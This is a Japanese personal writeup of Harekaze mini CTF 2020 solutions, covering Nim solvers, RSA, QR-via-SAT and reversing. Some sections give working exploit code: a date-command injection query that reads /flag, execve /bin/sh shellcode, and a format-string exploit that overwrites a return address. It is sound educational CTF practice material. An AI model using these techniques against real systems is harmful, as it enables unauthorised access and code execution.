Harekaze mini CTF 2020 Writeup

Sun Dec 27 2020

12/26 10:00 - 12/27 10:00 に開催された Harekaze mini CTF 2020 にソロで参加しました。 自分のレベルにちょうどよく、寝るタイミングを失うぐらい楽しめました。 結果は 13th/141 でした。初心者を立たせるために (?) マイナスの点を取る機能があって面白かったですが、自分は初心者レベルなのでマイナス点は完全に避けました。 解けた問題について writeup を書きます。 (それにしても web が全然解けるようになれなくて悔しいなあ)

Misc

Welcome

welcome されました。フラグの prefix が長いなあと感じました (小並感)

HarekazeCTF{4nch0rs_4we1gh}

NM Game

複数山、個数制限つき (1-3個) の Nim 問題です。 証明は省略しますが、各山の個数を Mi(0i<N)M_i (0 \le i < N) 個としたとき、 i=0N1Mi0mod4\bigoplus_{i=0}^{N-1} M_i \equiv 0 \mod 4 となるように石を取り続ければ勝ちです。 おそらくプログラム的に xor が非ゼロになるように初期化されている && 必ず自分が初手になっているっぽいので、これで必勝です。 競プロではないので効率を考えない雑なコードを書きました。

from functools import reduce

from pwn import *

r = remote("20.48.84.64", 20001)
# context.log_level = "DEBUG"

r.recvuntil("Creating a new problem...\n")
while True:
    remain = int(r.recvline().strip().decode())
    if remain < 4:
        break
    choice = remain % 4
    if choice == 0:
        choice = 1
    r.sendlineafter("How many pebbles do you want to take? [1-3]: ", str(choice))
    _ = r.recvline()
choice = remain % 4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice))


for _ in range(14):
    r.recvuntil("Creating a new problem...\n")
    while True:
        remains = list(map(int, r.recvline().strip().decode().split()))
        grundy = reduce(lambda x, y: (x % 4) ^ (y % 4), remains, 0)
        print(remains, grundy)
        assert grundy > 0
        choice_idx = None
        for i, remain in enumerate(remains):
            if choice_idx is not None:
                break
            for j in range(1, 4):
                if remain < j:
                    continue
                tmp_remains = remains.copy()
                tmp_remains[i] -= j
                tmp_grundy = reduce(lambda x, y: (x % 4) ^ (y % 4), tmp_remains, 0)
                if tmp_grundy == 0:
                    choice_idx = i
                    choice_num = j
                    break
        _ = r.recvuntil("Choose a heap [")
        _ = r.recvuntil("]: ")
        r.sendline(str(choice_idx))
        _ = r.recvuntil("How many pebbles do you want to take?")
        _ = r.recvuntil("]: ")
        r.sendline(str(choice_num))
        ret = r.recvline()
        if b"Won!" in ret:
            break

r.interactive()

HarekazeCTF{pe6b1y_qRundY_peb6l35}

Web

What time is it now?

時刻を様々なフォーマットで表示する web ページ。時刻の計算には shell の date コマンドを使用しています。

$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");

つまり date '+${format}' 2>&1 ということですね。標準エラー出力も親切に表示してくれます。 date のヘルプを見てみると、 -f でファイルの内容を見てくれるみたいです。このときにファイルの内容は適切なフォーマットになっていないとエラーが出るのですが、エラー内容を表示するときに中身を標準エラー出力で表示してくれます。 なので、

?format=%H:%M:%S%27%20-f%20/flag%27

というクエリを送ると、 It's date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}' . という文字列が返ってきました。 (エスケープ用の \ を抜き忘れて一回フラグ通し損ねたのは自分だけでは無いはず)

HarekazeCTF{1t's_7pm_1n_t0ky0}

Crypto

rsa

RSA の公開鍵 N,eN, e に加えて、フラグ (c1c_1) と p+q,pqp+q, p-q を暗号化した値 (それぞれ c2,c3c_2, c_3) が与えられます。

pq0modnpq \equiv 0 \mod n に注意すると、 c2(p+q)epe+qe,c3peqemodnc_2 \equiv (p + q)^e \equiv p^e + q^e, c_3 \equiv p^e - q^e \mod n であることがわかります。 ここから pe(c2+c3)/2,qe(c2c3)/2modnp^e \equiv (c_2 + c_3) / 2, q^e \equiv (c_2 - c_3) / 2 \mod n と計算できます。

法を nn としたときに pep^epp の倍数となるので、↑で求めた pep^enn の GCD を計算してあげると pp が求まります。

あとはフラグを復号化するだけです。

from math import gcd

from Crypto.Util.number import *

n = 133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203
e = 65537
c1 = 35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
c2 = 23394879596667385465597018769822552384439114548016006879565586102300995936951562766011707923675690015217418498865916391314367448706185724546566348496812451258316472754407976794025546555423254676274654957362894171995220230464953432393865332807738040967281350952790472772600745096787761443699676372681208295288
c3 = 54869102748428770635192859184579301467475982074831093316564134451063250935340131274147041633101346896954483059058671502582914428555153910133076778016989842641074276293354765141522703887273042367333036465503084165682591308676428523152462442280924054400997210800504726635778588407034149919869556306659386868798

p_e = (c2 + c3) // 2 % n
q_e = (c2 - c3) // 2 % n
p = gcd(p_e, n)
q = gcd(q_e, n)
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c1, d, n)))

HarekazeCTF{RSA_m34n5_Rin_Shiretoko_Ango}

QR

フラグ文字列の QR コードを 0, 1 で表した matrix に対して、 matrix2[i, j] = matrix[i, j] + matrix[i, j+1] + matrix[i+1, j] + matrix[i+1, j+1] と粗視化したような matrix2 が与えられます。 QR コードの仕様を上手く使えば簡単に解けるのかもしれませんが、自分は SAT ソルバーに投げて解きました。 自分の記事 を参考にしました。

以下、CNF 形式のファイルを出力するコード。

from itertools import product


with open("./output.txt", "r") as f:
    matrix2 = eval(f.read())
n = len(matrix2) + 1


def v_to_num(row, col):
    return row * n + col + 1


clauses = []


def add_clause(xs):
    global clauses
    for idx_list in product(*[range(4) for _ in range(len(xs))]):
        clauses.append((xs[i][idx] for i, idx in enumerate(idx_list)))


for i in range(len(matrix2)):
    for j in range(len(matrix2)):
        x0 = v_to_num(i, j)
        x1 = v_to_num(i, j + 1)
        x2 = v_to_num(i + 1, j)
        x3 = v_to_num(i + 1, j + 1)
        if matrix2[i][j] == 0:
            add_clause(
                [[x0, x1, x2, x3], [-x0, -x1, -x2, -x3],]
            )
        elif matrix2[i][j] == 1:
            add_clause(
                [
                    [x0, -x1, -x2, -x3],
                    [-x0, x1, -x2, -x3],
                    [-x0, -x1, x2, -x3],
                    [-x0, -x1, -x2, x3],
                ]
            )
        elif matrix2[i][j] == 2:
            add_clause(
                [
                    [x0, x1, -x2, -x3],
                    [x0, -x1, x2, -x3],
                    [x0, -x1, -x2, x3],
                    [-x0, x1, x2, -x3],
                    [-x0, x1, -x2, x3],
                    [-x0, -x1, x2, x3],
                ]
            )
        elif matrix2[i][j] == 3:
            add_clause(
                [
                    [x0, x1, x2, -x3],
                    [x0, x1, -x2, x3],
                    [x0, -x1, x2, x3],
                    [-x0, x1, x2, x3],
                ]
            )
        else:
            raise ValueError
clauses = list(set(clauses))
print(len(clauses))

output = ""
output += f"p cnf {n*n} {len(clauses)}\n"
for clause in clauses:
    output += " ".join(map(str, clause))
    output += " 0\n"
with open("output.ps", "w") as f:
    f.write(output)

これで出力された output.ps を java -jar org.sat4j.core.jar output.ps でソルバーに投げ、得られた結果に対して以下の script を実行し、出力された QR コードを読み取りました。

import matplotlib.pyplot as plt


result = "1 2 3 4 5 6 7 -8 9 -10 11 -12 -13 -14 15 16 17 -18 19 -20 -21 -22 23 24 25 -26 27 28 29 30 31 32 33 34 -35 -36 -37 -38 -39 40 -41 -42 -43 -44 45 46 -47 -48 -49 50 51 52 53 54 -55 -56 -57 58 -59 60 -61 -62 -63 -64 -65 66 67 -68 69 70 71 -72 73 -74 -75 76 77 -78 79 80 -81 -82 83 84 85 -86 -87 88 -89 90 91 -92 93 -94 95 96 97 -98 99 100 -101 102 103 104 -105 106 -107 108 -109 110 111 112 -113 114 115 -116 -117 118 119 120 -121 122 123 124 -125 126 -127 128 129 130 -131 132 133 -134 135 136 137 -138 139 -140 141 142 143 -144 145 -146 147 -148 -149 150 151 -152 153 -154 155 156 157 -158 159 -160 161 162 163 -164 165 166 -167 -168 -169 -170 -171 172 -173 174 175 176 -177 178 179 180 -181 182 -183 184 185 186 -187 -188 -189 190 -191 192 -193 -194 -195 -196 -197 198 199 200 201 202 203 204 205 -206 207 -208 209 -210 211 -212 213 -214 215 -216 217 -218 219 -220 221 -222 223 -224 225 226 227 228 229 230 231 -232 -233 -234 -235 -236 -237 -238 -239 240 -241 242 -243 -244 -245 -246 247 248 249 250 -251 252 253 254 255 256 -257 -258 -259 -260 -261 -262 -263 -264 265 -266 -267 -268 269 -270 271 272 273 -274 -275 -276 277 -278 279 -280 -281 282 -283 284 285 -286 287 -288 289 290 291 292 293 294 -295 -296 297 -298 299 -300 -301 -302 303 -304 -305 306 307 308 -309 310 311 -312 313 314 315 316 -317 -318 -319 320 321 -322 323 -324 325 -326 -327 328 -329 -330 331 332 333 334 335 336 337 -338 -339 340 -341 -342 343 -344 -345 346 -347 348 349 -350 351 352 353 354 355 -356 357 358 -359 -360 -361 -362 -363 -364 -365 366 367 368 369 -370 -371 -372 373 -374 375 376 -377 378 -379 -380 381 382 383 384 385 -386 -387 -388 389 -390 391 -392 -393 -394 395 -396 -397 -398 399 -400 -401 402 403 404 405 -406 -407 408 -409 410 411 412 -413 414 415 416 417 418 419 420 -421 422 423 -424 425 426 -427 428 429 -430 -431 432 433 434 435 -436 437 -438 439 440 -441 -442 -443 -444 -445 446 447 -448 -449 -450 451 452 453 454 -455 -456 457 -458 -459 460 461 -462 -463 -464 465 466 -467 468 469 470 471 472 -473 474 475 476 477 -478 479 -480 481 -482 483 -484 -485 486 487 488 -489 -490 -491 -492 493 494 -495 -496 497 498 499 500 -501 -502 -503 504 -505 -506 -507 508 509 510 -511 -512 513 -514 515 516 517 -518 -519 -520 521 -522 -523 -524 -525 -526 -527 -528 529 530 -531 532 533 534 535 -536 537 538 -539 -540 -541 542 543 544 545 546 -547 -548 -549 550 551 -552 -553 -554 555 556 557 -558 -559 560 -561 562 -563 564 -565 566 567 -568 569 570 -571 572 573 -574 575 -576 -577 578 -579 580 -581 582 583 584 585 -586 587 588 589 -590 -591 592 -593 -594 595 596 -597 598 -599 -600 601 602 603 -604 -605 606 -607 -608 609 610 611 612 613 -614 615 616 617 618 -619 620 -621 -622 623 624 625 -626 -627 628 629 -630 -631 632 -633 -634 635 636 -637 -638 -639 640 641 642 -643 644 645 -646 647 648 649 -650 -651 652 653 -654 655 656 -657 -658 659 -660 -661 662 663 664 -665 666 667 -668 -669 -670 671 -672 -673 -674 675 -676 -677 678 -679 -680 -681 -682 683 -684 -685 -686 687 688 -689 -690 -691 692 693 694 695 -696 -697 -698 699 -700 701 702 703 704 705 706 -707 -708 -709 -710 711 712 713 -714 715 716 717 718 -719 720 721 -722 723 -724 725 726 -727 -728 729 -730 -731 732 733 734 -735 -736 737 738 -739 -740 -741 742 -743 -744 -745 -746 -747 748 749 750 -751 -752 -753 -754 -755 756 757 758 -759 -760 -761 762 763 764 -765 -766 767 -768 -769 770 -771 -772 -773 774 775 -776 777 778 779 780 781 -782 -783 -784 785 786 787 788 -789 -790 -791 792 793 794 795 796 -797 -798 799 -800 801 -802 803 -804 805 806 -807 808 809 -810 -811 -812 -813 814 -815 -816 817 818 819 820 821 -822 -823 824 -825 -826 -827 -828 -829 -830 -831 -832 -833 834 -835 836 -837 -838 839 -840 841 842 843 -844 845 -846 847 848 -849 850 -851 -852 -853 854 855 856 -857 -858 859 860 861 862 863 864 865 -866 867 868 -869 -870 -871 -872 -873 874 -875 -876 877 -878 879 -880 -881 882 883 -884 885 -886 887 -888 -889 -890 -891 892 -893 -894 -895 -896 -897 898 -899 -900 -901 -902 -903 -904 905 906 907 908 909 -910 -911 912 913 -914 -915 916 -917 -918 -919 920 -921 -922 -923 -924 925 -926 927 928 929 -930 931 -932 933 -934 935 936 937 -938 -939 -940 941 942 -943 944 945 946 947 -948 949 950 951 952 953 -954 -955 -956 957 958 -959 960 961 962 -963 964 -965 -966 967 -968 -969 -970 971 972 973 974 975 976 -977 -978 -979 -980 -981 982 -983 984 -985 986 987 988 -989 -990 991 -992 993 994 995 -996 997 -998 -999 1000 -1001 -1002 1003 -1004 -1005 1006 1007 -1008 1009 -1010 1011 1012 1013 -1014 -1015 1016 -1017 -1018 1019 -1020 1021 -1022 -1023 1024 -1025 -1026 -1027 -1028 -1029 1030 -1031 -1032 1033 -1034 -1035 1036 1037 1038 1039 -1040 1041 1042 -1043 -1044 1045 1046 -1047 1048 1049 1050 -1051 -1052 1053 -1054 -1055 -1056 1057 1058 1059 1060 1061 1062 1063 -1064 1065 -1066 1067 -1068 -1069 -1070 1071 -1072 1073 1074 -1075 -1076 -1077 1078 1079 1080 1081 -1082 -1083 -1084 1085 1086 -1087 -1088 1089"
N = 33


def n_to_v(n):
    n -= 1
    col = n % N
    row = n // N
    return (row, col)


matrix = [[0 for _ in range(N)] for _ in range(N)]
vs = list(map(n_to_v, map(int, result.split())))
for v in vs:
    if v[0] < 0 or v[1] < 0:
        continue
    matrix[v[0]][v[1]] = 1

plt.imshow(matrix)
plt.show()

HarekazeCTF{d0_y0u_7hink_qr_ch4113ng3_i5_r3411y_in_d3m4nd}

Pwn

Shellcode

与えた shellcode を実行してくれます。しかし最初の 6 バイトは \x48\x31\xe4\x48\x31\xed (xor rsp, rsp; xor rbp, rbp;) と決まっているので stack を使うことはできません。

/bin/sh という文字列は用意されているので、この文字列アドレスを rdi に、rsi=rdx=0 に、rax=59 にして syscall を呼ぶことでシェルを奪いました。

from pwn import *

r = remote("20.48.83.165", 20005)
elf = ELF("./shellcode")
context.binary = elf

payload = b""
payload += asm("mov rdi, 0x404060")
payload += asm("mov rsi, 0")
payload += asm("mov rdx, 0")
payload += asm("mov rax, 59")
payload += asm("syscall")

r.recvuntil('Execute execve("/bin/sh", NULL, NULL)\n')
r.sendline(payload)
r.interactive()

HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

NM Game Extreme

NM Game の pwn 版。

山を選ぶときの index に対して境界の処理がありません。なので山から石を 1-3 個減らすのではなく、 remaining_games から 1-3 を引いていきましょう。

↓あまりにも雑なコード

from collections import Counter

import numpy as np
from pwn import *

r = remote("20.48.84.13", 20003)
elf = ELF("./nmgameex")
context.binary = elf

r.recvuntil("Creating a new problem...\n")
while True:
    remain = int(r.recvline().strip().decode())
    if remain < 4:
        break
    choice = remain % 4
    if choice == 0:
        choice = 1
    r.sendlineafter("How many pebbles do you want to take? [1-3]: ", str(choice))
    _ = r.recvline()
choice = remain % 4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice))

for _ in range(132):
    _ = r.recvuntil("Choose a heap [")
    _ = r.recvuntil("]: ")
    r.sendline("-4")  # -16//4 = -4
    _ = r.recvuntil("How many pebbles do you want to take?")
    _ = r.recvuntil("]: ")
    r.sendline("3")

_ = r.recvuntil("Choose a heap [")
_ = r.recvuntil("]: ")
r.sendline("-4")  # -16//4 = -4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline("2")
_ = r.recvline()
# ここまでで remaining_games = 1

while True:
    remains = list(map(int, r.recvline().strip().decode().split()))
    cnt = Counter(remains)
    if cnt[0] == len(remains) - 1:
        choice_idx = np.argmax(remains)
        remain = remains[choice_idx]
        choice_num = remain % 4
        if choice_num == 0:
            choice_num = 1
    else:
        for i, remain in enumerate(remains):
            if remain == 0:
                continue
            choice_idx = i
            choice_num = min(remain, 3)
            break
    _ = r.recvuntil("Choose a heap [")
    _ = r.recvuntil("]: ")
    r.sendline(str(choice_idx))
    _ = r.recvuntil("How many pebbles do you want to take?")
    _ = r.recvuntil("]: ")
    r.sendline(str(choice_num))
    ret = r.recvline()
    if b"Won!" in ret:
        break
r.interactive()

HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}

Kodama

format string attack の脆弱性があります。しかし入力は 0x20 バイトしか受け付けていないので工夫が必要でした。

実装上 printf は2回しか呼ばれないため、1回目で stack のアドレスや __libc_start_main への return 先のアドレスをリークして、2回目で one-gadget RCE のアドレスに飛ぶよう return address を書き換えることになります。 しかし 0x20 バイトでは後者を行うのは厳しかったです…

なので、2回目の入力で、何回目の printf かを表す $rbp-0x34 を負の値にして何回も format string attack ができるようにしました。

from pwn import *

r = remote("20.48.81.63", 20002)
elf = ELF("./kodama")
context.binary = elf
libc = ELF("./libc.so.6")

r.recvuntil(
    "    |__/   |__/  |__/|__/  |__/|__/  |__/ \______/  \______/  \______/ |__/|__/\n\n"
)
r.sendline(b"%12$016lx %15$016lx")  # rbp-? と __libc_start_main ret address
ret = r.recvline().strip().split()
rbp_offset, ret_address = int(ret[0], 16), int(ret[1], 16)
offset = 0xF0
rbp = rbp_offset - offset
libc_ret_address = libc.symbols["__libc_start_main"] + 242
rce = ret_address - libc_ret_address + 0xDF54F


def gen_payload(address, value):
    payload = b""
    n = 0
    t = (value & 0xFF) - n % 256
    if t <= 1:
        t += 256
    payload += f"%{t}c%11$hhn".encode()
    assert len(payload) <= 24
    payload += b"A" * (8 * 3 - len(payload))
    payload += pack(address)
    return payload[:-1]


payload = gen_payload(rbp - 0x31, 0xFF)
r.sendline(payload)
_ = r.recvline()

for i in range(8):
    t = rce & 0xFF
    payload = gen_payload(rbp + 0x8 + i, t)
    rce >>= 8
    r.sendline(payload)
    _ = r.recvline()

payload = gen_payload(rbp - 0x31, 0x00)
r.sendline(payload)

r.interactive()

HarekazeCTF{n0_moun741n_no_3ch0}

Reversing

Easy Flag Checker

fakeflag{this_is_not_the_real_flag} という文字列と table に格納された値に対し、0文字目は add, 1文字目は sub, 2文字目は xor, 3文字目は add, ... と順繰りに演算を変えていくようなプログラムになっていました。

s = "fakeflag{this_is_not_the_real_flag}".encode()

table = [0xE2, 0x0, 0x19, 0x0, 0xFB, 0xD, 0x19, 0x2, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5, 0x2F, 0xA, 0xC1, 0xFC, 0x0, 0xF2, 0xFC, 0x51, 0x8, 0x13, 0x6, 0x7, 0x39, 0x3C, 0x5, 0x39, 0x13, 0xBA, 0x0]

flag = ""
for i in range(35):
    if i % 3 == 0:
        tmp = s[i] + table[i]
    elif i % 3 == 1:
        tmp = s[i] - table[i]
    else:
        tmp = s[i] ^ table[i]
    tmp %= 256
    flag += chr(tmp)
print(flag)

HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

Wait

HarekazeCTF{ID____X}SALT という形式の入力に対して SHA1 をかけたものが保持されたハッシュに一致しているかを確認しているプログラムでした。 しかしプログラムに対して brute force を行うとしても、 sleep 3.00 が内部で行われているためとても時間がかかります。 プログラムを書き換えて sleep 3.00 を潰そうとしても、 sleep 3.00 の文字列に対してもハッシュが一致しているか計算している箇所があり、あまり筋がよさそうではありません。

なのでここまでわかれば自前で hash が一致するかを計算するプログラムを書いてあげればいいだけです。

import binascii
from hashlib import sha1
from itertools import product

print(sha1(b"sleep 3.00\0").hexdigest())

compared = binascii.hexlify(
    bytes([0x1F, 0xCC, 0xE7, 0xEC, 0x44, 0xBE, 0xB7, 0x2C, 0x99, 0x4E, 0x2C, 0xD6, 0x9C, 0x46, 0x29, 0x16, 0xCA, 0x8E, 0xC8, 0x10])
).decode()

_range = range(65, 65 + 26)
for i0, i1, i2, i3 in product(_range, _range, _range, _range):
    _id = chr(i0) + chr(i1) + chr(i2) + chr(i3)
    arg = ("HarekazeCTF{ID" + _id + "X}SALT").encode()
    arg += b"\0"
    hashed = sha1(arg).hexdigest()
    # print(len(hashed), len(compared))
    if hashed == compared:
        print(_id)

HarekazeCTF{IDRACIX}

Tiny Flag Checker

セクション部分が削られ、さらにヘッダの部分が書き換えられているプログラムが渡されました。 とりあえず最初の 16 バイトを適当な値に修正します。

$ hexdump tiny | head -n 1
0000000 457f 464c 5555 5f4e 414b 4157 4949 c616
$ hexdump tiny_mod | head -n 1
0000000 457f 464c 0102 0001 0000 0000 0000 0000

こうすることである程度人間の目に優しいプログラムになります。

┌ 13: fcn.00400095 ();
│           0x00400095      b801000000     mov eax, 1
│           0x0040009a      bf01000000     mov edi, 1
│           0x0040009f      0f05           syscall
└           0x004000a1      c3             ret
            ;-- rip:
┌ 204: entry0 ();
│           ; var int64_t var_10h @ rsp+0x10
│           0x004000a2      4883ec10       sub rsp, 0x10
│           0x004000a6      4989e0         mov r8, rsp
│           0x004000a9      4883ec10       sub rsp, 0x10
│           0x004000ad      4989e1         mov r9, rsp
│           ; CODE XREF from segment.LOAD0 @ +0x74
│           0x004000b0      660fefc0       pxor xmm0, xmm0
│           0x004000b4      0f290424       movaps xmmword [rsp], xmm0
│           0x004000b8      0f29442410     movaps xmmword [var_10h], xmm0
│           0x004000bd      be70004000     mov esi, 0x400070           ; 'p' ; "Input: "
│           0x004000c2      ba07000000     mov edx, 7
│           0x004000c7      e8c9ffffff     call fcn.00400095           ;[1]
│           0x004000cc      31c0           xor eax, eax
│           0x004000ce      31ff           xor edi, edi
│           0x004000d0      4c89c6         mov rsi, r8
│           0x004000d3      ba10000000     mov edx, 0x10               ; 16
│           0x004000d8      0f05           syscall
│           0x004000da      498b00         mov rax, qword [r8]
│           0x004000dd      493101         xor qword [r9], rax
│           0x004000e0      498b4008       mov rax, qword [r8 + 8]
│           0x004000e4      49314108       xor qword [r9 + 8], rax
│           0x004000e8      49c10929       ror qword [r9], 0x29
│           0x004000ec      49c1490813     ror qword [r9 + 8], 0x13
│           0x004000f1      488b04250000.  mov rax, qword [segment.LOAD0]    ; segment.ehdr
│                                                                      ; [0x400000:8]=0x10102464c457f
│           0x004000f9      493101         xor qword [r9], rax
│           0x004000fc      488b04250800.  mov rax, qword [0x400008]    ; [0x400008:8]=0
│           0x00400104      49314108       xor qword [r9 + 8], rax
│           0x00400108      488b04252800.  mov rax, qword [0x400028]    ; [0x400028:8]=0xf0fdcf637563fce7
│           0x00400110      493301         xor rax, qword [r9]
│           0x00400113      488b14253000.  mov rdx, qword [0x400030]    ; [0x400030:8]=0x38cf4f4fdcae66 ; "f\xae\xdcOO\xcf8"
│           0x0040011b      49335108       xor rdx, qword [r9 + 8]
│           0x0040011f      4821c0         and rax, rax
│       ┌─< 0x00400122      7532           jne 0x400156
│       │   0x00400124      4839d0         cmp rax, rdx
│      ┌──< 0x00400127      752d           jne 0x400156
│      ││   0x00400129      be78004000     mov esi, 0x400078           ; 'x' ; "Correct! Flag: HarekazeCTF{}\n\xb8\x01"
│      ││   0x0040012e      ba1b000000     mov edx, 0x1b               ; 27
│      ││   0x00400133      e85dffffff     call fcn.00400095           ;[1]
│      ││   0x00400138      4c89c6         mov rsi, r8
│      ││   0x0040013b      ba10000000     mov edx, 0x10               ; 16
│      ││   0x00400140      e850ffffff     call fcn.00400095           ;[1]
│      ││   0x00400145      be93004000     mov esi, 0x400093
│      ││   0x0040014a      ba02000000     mov edx, 2
│      ││   0x0040014f      e841ffffff     call fcn.00400095           ;[1]
│     ┌───< 0x00400154      eb0f           jmp 0x400165
│     │││   ; CODE XREFS from entry0 @ 0x400122, 0x400127
│     │└└─> 0x00400156      be58004000     mov esi, 0x400058           ; 'X' ; "Nope...\nn\x01"
│     │     0x0040015b      ba08000000     mov edx, 8
│     │     0x00400160      e830ffffff     call fcn.00400095           ;[1]
│     │     ; CODE XREF from entry0 @ 0x400154
│     └───> 0x00400165      b83c000000     mov eax, 0x3c               ; '<' ; 60
│           0x0040016a      31ff           xor edi, edi
└           0x0040016c      0f05           syscall

あとは読むだけなのですが、注意点としてプログラム中にヘッダーの値が使われていることが挙げられます。 読みやすさのためにヘッダーを書き換えましたが、正しいフラグを計算するには元々のヘッダーを値を使わなければなりません (ハマった)。

from Crypto.Util.number import *


def xor(a, b):
    tmp = b""
    for i in range(len(a)):
        tmp += (a[i] ^ b[i]).to_bytes(1, "big")
    return tmp


def rotate(a, n):
    tmp = bin(int.from_bytes(a, "little"))[2:]
    return long_to_bytes(int(tmp[n:] + tmp[:n], 2))


data_00 = b"\x7f\x45\x4c\x46\x55\x55\x4e\x5f"
data_28 = b"\xe7\xfc\x63\x75\x63\xcf\xfd\xf0"
data_08 = b"\x4b\x41\x57\x41\x49\x49\x16\xc6"
data_30 = b"\x66\xae\xdc\x4f\x4f\xcf\x38\x00"
tmp_0 = xor(data_00, data_28)
tmp_0 = rotate(tmp_0, 0x29)
tmp_1 = xor(data_08, data_30)
tmp_1 = rotate(tmp_1, 0x13)
print((tmp_1 + tmp_0)[::-1])

HarekazeCTF{fl4g_1s_t1ny_t00}